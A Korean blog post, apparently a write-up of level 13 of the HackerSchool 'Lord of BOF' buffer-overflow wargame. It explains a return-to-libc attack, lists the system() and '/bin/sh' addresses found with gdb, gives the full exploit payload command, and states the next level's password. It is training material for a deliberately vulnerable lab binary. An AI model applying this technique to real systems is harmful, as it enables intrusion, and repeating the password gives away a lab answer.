HackerSchool LOB Level 13
Hacking/LOB(RedHat)

HackerSchool LOB Level 13


※  argc가 2보다 커야함

※  argv[1][47]이 \xbf가 아니여야함 


조건을 해석해보자면 ret에 스택의 주소가 오면 안된다는 조건임을 알수있다.

이 문제는 RTL(Return To Libc) 기법을 이용하여 풀어야한다


RTL의 특징은

쉘코드가 없이 Exploit 하는것이다.

RTL의 핵심은  RET에 Libc라고 하는 공유 라이브러리 내의 함수를 덮어씌우는 것이다.





시스템 함수의 주소를 알아내기위해 gdb로 bugbear를 복사한파일을 열고 p system으로 주소를 출력한다

주소는 0x40058ae0 이다

이제 인자로 들어갈 "/bin/sh"의 주소를 알아보자


"/bin/sh"의 주소를 구하는 간단한 파일을 만들어준다.


/bin/sh 의 주소는  0x400fbff9 이다


아까 구한 주소들을 이용해 페이로드를 짜면 

./bugbear `python -c 'print "\x90"*44+"\xe0\x8a\x05\x40"+"\x90"*4+"\xf9\xbf\x0f\x40"'`   이다

비밀번호는 new attacker 이다 


















'Hacking > LOB(RedHat)' 카테고리의 다른 글

HackerSchool LOB Level 15  (0) 2015.08.27
HackerSchool LOB Level 14  (0) 2015.08.10
HackerSchool LOB Level 12  (0) 2015.08.01
HackerSchool LOB Level 11  (0) 2015.07.28
HackerSchool LOB Level 10  (0) 2015.07.26